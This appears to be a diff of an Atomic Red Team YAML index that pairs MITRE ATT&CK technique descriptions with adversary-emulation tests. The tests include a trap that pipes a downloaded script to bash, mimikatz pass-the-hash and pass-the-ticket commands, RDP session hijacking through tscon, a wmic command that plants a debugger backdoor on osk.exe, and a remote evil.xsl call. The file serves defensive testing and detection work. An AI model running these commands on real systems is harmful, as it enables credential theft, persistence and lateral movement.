Trap description: | - Note: must dump hashes first - [Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth) + After exiting the shell, the script will download and execute. + + After sending a keyboard interrupt (CTRL+C) the script will download and execute. supported_platforms: - - windows - input_arguments: - user_name: - description: username - type: string - default: Administrator - domain: - description: domain - type: string - default: atomic.local - ntlm: - description: ntlm hash - type: string - default: cc36cf7a8514893efccd3324464tkg1a + - macos + - centos + - ubuntu + - linux executor: - name: command_prompt - command: 'mimikatz # sekurlsa::pth /user:#{user_name} /domain:#{domain} /ntlm:#{ntlm} - -' - T1097: + name: sh + command: | + trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh | bash' EXIT + exit + trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh | bash' INT + T1127: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1097 - source_name: mitre-attack - external_id: T1097 - - url: http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf - source_name: Campbell 2014 - description: Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December - 4, 2014. - - url: https://adsecurity.org/?p=556 - source_name: ADSecurity AD Kerberos Attacks - description: Metcalf, S. (2014, November 22). Mimikatz and Active Directory - Kerberos Attacks. Retrieved June 2, 2016. - - url: http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos - source_name: GentilKiwi Pass the Ticket - description: Deply, B. (2014, January 13). Pass the ticket. Retrieved June - 2, 2016. - - url: https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf - source_name: CERT-EU Golden Ticket Protection - description: Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, - April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_system_requirements: - - Requires Microsoft Windows as a target system and Kerberos authentication - enabled. x_mitre_data_sources: - - Authentication logs - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. - - Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to "Integrity check on decrypted field failed" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection) - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - Process monitoring + x_mitre_permissions_required: + - User + name: Trusted Developer Utilities + description: "There are many utilities used for software development related + tasks that can be used to execute code in various forms to assist in development, + debugging, and reverse engineering. These utilities may often be signed with + legitimate certificates that allow them to execute on a system and proxy execution + of malicious code through a trusted process that effectively bypasses application + whitelisting defensive solutions.\n\n### MSBuild\n\nMSBuild.exe (Microsoft + Build Engine) is a software build platform used by Visual Studio. It takes + XML formatted project files that define requirements for building various + platforms and configurations. (Citation: MSDN MSBuild) \n\nAdversaries can + use MSBuild to proxy execution of code through a trusted Windows utility. + The inline task capability of MSBuild that was introduced in .NET version + 4 allows for C# code to be inserted into the XML project file. (Citation: + MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. + MSBuild.exe is a signed Microsoft binary, so when it is used this way it can + execute arbitrary code and bypass application whitelisting defenses that are + configured to allow MSBuild.exe execution. (Citation: LOLBAS Msbuild)\n\n### + DNX\n\nThe .NET Execution Environment (DNX), dnx.exe, is a software development + kit packaged with Visual Studio Enterprise. It was retired in favor of .NET + Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present + on standard builds of Windows and may only be present on developer workstations + using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable + is signed by Microsoft. \n\nAn adversary can use dnx.exe to proxy execution + of arbitrary code to bypass application whitelist policies that do not account + for DNX. (Citation: engima0x3 DNX Bypass)\n\n### RCSI\n\nThe rcsi.exe utility + is a non-interactive command-line interface for C# that is similar to csi.exe. + It was provided within an early version of the Roslyn .NET Compiler Platform + but has since been deprecated for an integrated solution. (Citation: Microsoft + Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 + RCSI Bypass)\n\nC# .csx script files can be written and executed with rcsi.exe + at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary + code to bypass application whitelisting policies that do not account for execution + of rcsi.exe. (Citation: engima0x3 RCSI Bypass)\n\n### WinDbg/CDB\n\nWinDbg + is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft + Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities + are included in Windows software development kits and can be used as standalone + tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly + used in software development and reverse engineering and may not be found + on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed + by Microsoft.\n\nAn adversary can use WinDbg.exe and cdb.exe to proxy execution + of arbitrary code to bypass application whitelist policies that do not account + for execution of those utilities. (Citation: Exploit Monday WinDbg)\n\nIt + is likely possible to use other debuggers for similar purposes, such as the + kernel-mode debugger kd.exe, which is also signed by Microsoft.\n\n### Tracker\n\nThe + file tracker utility, tracker.exe, is included with the .NET framework as + part of MSBuild. It is used for logging calls to the Windows file system. + (Citation: Microsoft Docs File Tracking)\n\nAn adversary can use tracker.exe + to proxy execution of an arbitrary DLL into another process. Since tracker.exe + is also signed it can be used to bypass application whitelisting solutions. + (Citation: LOLBAS Tracker)" + x_mitre_remote_support: false + id: attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b + modified: '2019-07-31T19:44:19.300Z' x_mitre_platforms: - Windows - kill_chain_phases: - - phase_name: lateral-movement - kill_chain_name: mitre-attack - id: attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c - name: Pass the Ticket - created: '2017-05-31T21:31:11.623Z' - x_mitre_version: '1.0' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + x_mitre_system_requirements: + - |- + MSBuild: .NET Framework version 4 or higher + DNX: .NET 4.5.2, Powershell 4.0 + RCSI: .NET 4.5 or later, Visual Studio 2012 type: attack-pattern - description: |- - Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system. - - In this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket) - - Silver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks) + x_mitre_detection: |- + The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. - Golden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014) + Use process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_contributors: - - Ryan Becwar - - Vincent Le Toux - identifier: T1097 + - Casey Smith + - Matthew Demaske, Adaptforward + created: '2017-05-31T21:31:39.262Z' + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + external_references: + - source_name: mitre-attack + external_id: T1127 + url: https://attack.mitre.org/techniques/T1127 + - source_name: MSDN MSBuild + description: Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016. + url: https://msdn.microsoft.com/library/dd393574.aspx + - description: LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019. + source_name: LOLBAS Msbuild + url: https://lolbas-project.github.io/lolbas/Binaries/Msbuild/ + - source_name: Microsoft Migrating from DNX + description: Knezevic, Z., Wenzel, M. Latham, L. (2016, June 20). Migrating + from DNX to .NET Core CLI (project.json). Retrieved June 28, 2017. + url: https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx + - source_name: engima0x3 DNX Bypass + description: Nelson, M. (2017, November 17). Bypassing Application Whitelisting + By Using dnx.exe. Retrieved May 25, 2017. + url: https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/ + - source_name: Microsoft Roslyn CPT RCSI + description: Osenkov, K. (2011, October 19). Introducing the Microsoft “Roslyn” + CTP. Retrieved June 28, 2017. + url: https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/ + - source_name: engima0x3 RCSI Bypass + description: Nelson, M. (2016, November 21). Bypassing Application Whitelisting + By Using rcsi.exe. Retrieved May 26, 2017. + url: https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/ + - source_name: Microsoft Debugging Tools for Windows + description: Marshall, D. (2017, May 23). Debugging Tools for Windows (WinDbg, + KD, CDB, NTSD). Retrieved June 29, 2017. + url: https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index + - source_name: Exploit Monday WinDbg + description: Graeber, M. (2016, August 15). Bypassing Application Whitelisting + by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017. + url: http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html + - source_name: Microsoft Docs File Tracking + description: B, M., Brown, K., Cai, S., Hogenson, G., Warren, G. (2016, November + 4). File Tracking. Retrieved November 1, 2017. + url: https://docs.microsoft.com/visualstudio/msbuild/file-tracking + - description: LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019. + source_name: LOLBAS Tracker + url: https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/ + x_mitre_defense_bypassed: + - Application whitelisting + identifier: T1127 atomic_tests: - - name: Mimikatz Kerberos Ticket Attack - description: 'Similar to PTH, but attacking Kerberos + - name: MSBuild Bypass Using Inline Tasks + description: 'Executes the code in a project file using. C# Example ' supported_platforms: - windows input_arguments: - user_name: - description: username - type: string - default: Administrator - domain: - description: domain - type: string - default: atomic.local + filename: + description: Location of the project file + type: Path + default: T1127.csproj executor: name: command_prompt - command: 'mimikatz # kerberos::ptt #{user_name}@#{domain} + elevation_required: false + command: 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe #{filename} ' - T1076: + T1047: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1076 - source_name: mitre-attack - external_id: T1076 - - url: https://capec.mitre.org/data/definitions/555.html - source_name: capec - external_id: CAPEC-555 - - url: http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/ - source_name: Alperovitch Malware - description: Alperovitch, D. (2014, October 31). Malware-Free Intrusions. - Retrieved November 4, 2014. - - url: https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx - source_name: TechNet Remote Desktop Services - description: Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, - 2016. - - url: http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html - source_name: RDP Hijacking Korznikov - description: Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking - Feature All Windows versions. Retrieved December 11, 2017. - - url: https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6 - source_name: RDP Hijacking Medium - description: Beaumont, K. (2017, March 19). RDP hijacking — how to hijack - RDS and RemoteApp sessions transparently to move through an organisation. - Retrieved December 11, 2017. - - url: https://github.com/nccgroup/redsnarf - source_name: Kali Redsnarf - description: NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December - 11, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Matthew Demaske, Adaptforward x_mitre_permissions_required: - - Remote Desktop Users - User + - Administrator x_mitre_data_sources: - Authentication logs - Netflow/Enclave netflow - Process monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. + - Process command-line parameters + name: Windows Management Instrumentation + description: |- + Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI) - Also, set up process monitoring for tscon.exe usage and monitor service creation that uses cmd.exe /k or cmd.exe /c in its arguments to prevent RDP session hijacking. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015) + x_mitre_remote_support: true + id: attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055 x_mitre_platforms: - Windows - kill_chain_phases: - - phase_name: lateral-movement - kill_chain_name: mitre-attack - id: attack-pattern--51dea151-0898-4a45-967c-3ebee0420484 - name: Remote Desktop Protocol - created: '2017-05-31T21:30:59.769Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' + x_mitre_system_requirements: + - |- + WMI service, winmgmt, running. + Host/network firewalls allowing SMB and WMI ports from source to destination. + SMB authentication. type: attack-pattern - description: |- - Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS. + x_mitre_detection: 'Monitor network traffic for WMI connections; the use of + WMI in environments that do not typically use WMI may be suspect. Perform + process monitoring to capture command-line arguments of "wmic" and detect + commands that are used to perform remote behavior. (Citation: FireEye WMI + 2015)' + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:30:44.329Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1047 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1047 + - source_name: Wikipedia SMB + description: Wikipedia. (2016, June 12). Server Message Block. Retrieved June + 12, 2016. + url: https://en.wikipedia.org/wiki/Server_Message_Block + - source_name: TechNet RPC + description: Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, + 2016. + url: https://technet.microsoft.com/en-us/library/cc787851.aspx + - source_name: MSDN WMI + description: Microsoft. (n.d.). Windows Management Instrumentation. Retrieved + April 27, 2016. + url: https://msdn.microsoft.com/en-us/library/aa394582.aspx + - source_name: FireEye WMI 2015 + description: Ballenthin, W., et al. (2015). Windows Management Instrumentation + (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016. + url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf + modified: '2019-07-17T20:04:40.297Z' + identifier: T1047 + atomic_tests: + - name: WMI Reconnaissance Users + description: 'WMI List User Accounts - Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware) +' + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: false + command: 'wmic useraccount get /ALL - Adversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\windows\system32\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf) - x_mitre_system_requirements: - - RDP service enabled, account in the Remote Desktop Users group. - identifier: T1076 - atomic_tests: - - name: RDP - description: 'RDP hijacking](https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6) - - how to hijack RDS and RemoteApp sessions transparently to move through an - organization +' + - name: WMI Reconnaissance Processes + description: 'WMI List Processes ' supported_platforms: - windows executor: name: command_prompt - elevation_required: true - command: | - query user - sc.exe create sesshijack binpath= "cmd.exe /k tscon 1337 /dest:rdp-tcp#55" - net start sesshijack - sc.exe delete sesshijack - - name: RDPto-DomainController - description: 'Attempt an RDP session via "Connect-RDP" to a system. Default - RDPs to (%logonserver%) as the current user + elevation_required: false + command: 'wmic process get caption,executablepath,commandline + +' + - name: WMI Reconnaissance Software + description: 'WMI List Software + +' + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: false + command: 'wmic qfe get description,installedOn /format:csv + +' + - name: WMI Reconnaissance List Remote Services + description: 'WMI List Remote Services ' supported_platforms: - windows input_arguments: - logonserver: - description: ComputerName argument default %logonserver% + node: + description: Ip Address type: String - default: $ENV:logonserver.TrimStart("\") - username: - description: Username argument default %USERDOMAIN%\%username% + default: 192.168.0.1 + service_search_string: + description: Name Of Service type: String - default: "$Env:USERDOMAIN\\$ENV:USERNAME" + default: sql server executor: - name: powershell + name: command_prompt elevation_required: false - prereq_command: 'if((Get-WmiObject -Class Win32_ComputerSystem).PartOfDomain) - {0} else {1} - -' - command: 'Connect-RDP -ComputerName #{logonserver} -User #{username} + command: 'wmic /node:"#{node}" service where (caption like "%#{service_search_string} + (%") ' - T1105: + T1028: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1105 - source_name: mitre-attack - external_id: T1105 - - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - source_name: University of Birmingham C2 - description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command - & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_detection: |- - Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious. - - Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) x_mitre_data_sources: - File monitoring - - Packet capture - - Process use of network + - Authentication logs - Netflow/Enclave netflow - - Network protocol analysis - Process monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_network_requirements: true - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - Process command-line parameters + x_mitre_permissions_required: + - User + - Administrator + name: Windows Remote Management + description: 'Windows Remote Management (WinRM) is the name of both a Windows + service and a protocol that allows a user to interact with a remote system + (e.g., run an executable, modify the Registry, modify services). (Citation: + Microsoft WinRM) It may be called with the winrm command or by + any number of programs such as PowerShell. (Citation: Jacobsen 2014)' + x_mitre_remote_support: true + id: attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39 x_mitre_platforms: - - Linux - - macOS - Windows - kill_chain_phases: - - phase_name: command-and-control - kill_chain_name: mitre-attack - - phase_name: lateral-movement - kill_chain_name: mitre-attack - id: attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add - name: Remote File Copy - created: '2017-05-31T21:31:16.408Z' - x_mitre_version: '1.0' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + x_mitre_system_requirements: + - WinRM listener turned on and configured on remote system type: attack-pattern - description: |- - Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as [FTP](https://attack.mitre.org/software/S0095). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp. - - Adversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076). - x_mitre_permissions_required: - - User - identifier: T1105 + x_mitre_detection: 'Monitor use of WinRM within an environment by tracking service + execution. If it is not normally used or is disabled, then this may be an + indicator of suspicious behavior. Monitor processes created and actions taken + by the WinRM process or a WinRM invoked script to correlate it with other + related events. (Citation: Medium Detecting Lateral Movement)' + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:30:33.723Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: execution + - kill_chain_name: mitre-attack + phase_name: lateral-movement + external_references: + - external_id: T1028 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1028 + - source_name: capec + external_id: CAPEC-555 + url: https://capec.mitre.org/data/definitions/555.html + - source_name: Microsoft WinRM + description: Microsoft. (n.d.). Windows Remote Management. Retrieved November + 12, 2014. + url: http://msdn.microsoft.com/en-us/library/aa384426 + - description: Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. + Retrieved November 12, 2014. + source_name: Jacobsen 2014 + url: https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2 + - description: French, D. (2018, September 30). Detecting Lateral Movement Using + Sysmon and Splunk. Retrieved October 11, 2019. + source_name: Medium Detecting Lateral Movement + url: https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc + modified: '2019-10-15T18:44:56.438Z' + identifier: T1028 atomic_tests: - - name: rsync remote file copy (push) - description: 'Utilize rsync to perform a remote file copy (push) + - name: Enable Windows Remote Management + description: 'Powershell Enable WinRM ' supported_platforms: - - linux - - macos - input_arguments: - local_path: - description: Path of folder to copy - type: Path - default: "/tmp/adversary-rsync/" - username: - description: User account to authenticate on remote host - type: String - default: victim - remote_host: - description: Remote host to copy toward - type: String - default: victim-host - remote_path: - description: Remote path to receive rsync - type: Path - default: "/tmp/victim-files" + - windows executor: - name: bash - command: 'rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path} + name: powershell + elevation_required: true + command: 'Enable-PSRemoting -Force ' - - name: rsync remote file copy (pull) - description: 'Utilize rsync to perform a remote file copy (pull) + - name: PowerShell Lateral Movement + description: | + Powershell lateral movement using the mmc20 application com object -' + Reference: + + https://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/ supported_platforms: - - linux - - macos + - windows input_arguments: - remote_path: - description: Path of folder to copy - type: Path - default: "/tmp/adversary-rsync/" - username: - description: User account to authenticate on remote host - type: String - default: adversary - remote_host: - description: Remote host to copy from - type: String - default: adversary-host - local_path: - description: Local path to receive rsync - type: Path - default: "/tmp/victim-files" + computer_name: + description: Name of Computer + type: string + default: computer1 executor: - name: bash - command: 'rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path} + name: command_prompt + command: 'powershell.exe [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","#{computer_name}")).Documnet.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe", + $null, $null, "7") ' - - name: scp remote file copy (push) - description: 'Utilize scp to perform a remote file copy (push) + - name: WMIC Process Call Create + description: 'Utilize WMIC to start remote process ' supported_platforms: - - linux - - macos + - windows input_arguments: - local_file: - description: Path of file to copy - type: Path - default: "/tmp/adversary-scp" - username: - description: User account to authenticate on remote host + user_name: + description: Username type: String - default: victim - remote_host: - description: Remote host to copy toward + default: DOMAIN\Administrator + password: + description: Password type: String - default: victim-host - remote_path: - description: Remote path to receive scp - type: Path - default: "/tmp/victim-files/" + default: P@ssw0rd1 + computer_name: + description: Target Computer Name + type: String + default: Target executor: - name: bash - command: 'scp #{local_file} #{username}@#{remote_host}:#{remote_path} + name: command_prompt + command: 'wmic /user:#{user_name} /password:#{password} /node:#{computer_name} + process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows + NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" + /t REG_SZ /d \"cmd.exe\" /f" ' - - name: scp remote file copy (pull) - description: 'Utilize scp to perform a remote file copy (pull) + - name: Psexec + description: 'Utilize psexec to start remote process ' supported_platforms: - - linux - - macos + - windows input_arguments: - remote_file: - description: Path of file to copy - type: Path - default: "/tmp/adversary-scp" - username: - description: User account to authenticate on remote host + user_name: + description: Username type: String - default: adversary - remote_host: - description: Remote host to copy from + default: DOMAIN\Administrator + password: + description: Password type: String - default: adversary-host - local_path: - description: Local path to receive scp - type: Path - default: "/tmp/victim-files/" + default: P@ssw0rd1 + computer_name: + description: Target Computer Name + type: String + default: Target executor: - name: bash - command: 'scp #{username}@#{remote_host}:#{remote_file} #{local_path} + name: command_prompt + command: 'psexec \\host -u domain\user -p password -s cmd.exe ' - - name: sftp remote file copy (push) - description: 'Utilize sftp to perform a remote file copy (push) + - name: Invoke-Command + description: 'Execute Invoke-command on remote host ' supported_platforms: - - linux - - macos + - windows input_arguments: - local_file: - description: Path of file to copy - type: Path - default: "/tmp/adversary-sftp" - username: - description: User account to authenticate on remote host + host_name: + description: Remote Windows Host Name type: String - default: victim - remote_host: - description: Remote host to copy toward + default: Test + remote_command: + description: Command to execute on remote Host type: String - default: victim-host - remote_path: - description: Remote path to receive sftp - type: Path - default: "/tmp/victim-files/" + default: ipconfig executor: - name: bash - command: 'sftp #{username}@#{remote_host}:#{remote_path} <<< $''put #{local_file}'' + name: powershell + command: 'invoke-command -computer_name #{host_name} -scriptblock {#{remote_command}} ' - - name: sftp remote file copy (pull) - description: 'Utilize sftp to perform a remote file copy (pull) + T1220: + technique: + x_mitre_data_sources: + - Process monitoring + - Process command-line parameters + - Process use of network + - DLL monitoring + x_mitre_permissions_required: + - User + name: XSL Script Processing + description: |- + Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017) + + Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Similar to [Trusted Developer Utilities](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019) + + Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019) + + * msxsl.exe customers[.]xml script[.]xsl + * msxsl.exe script[.]xsl script[.]xsl + * msxsl.exe script[.]jpeg script[.]jpeg + + Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019) + + Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic) + + * Local File: wmic process list /FORMAT:evil[.]xsl + * Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl” + x_mitre_remote_support: false + id: attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3 + modified: '2019-09-12T17:29:15.626Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + x_mitre_system_requirements: + - Microsoft Core XML Services (MSXML) or access to wmic.exe + type: attack-pattern + x_mitre_detection: |- + Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded. + + The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. + 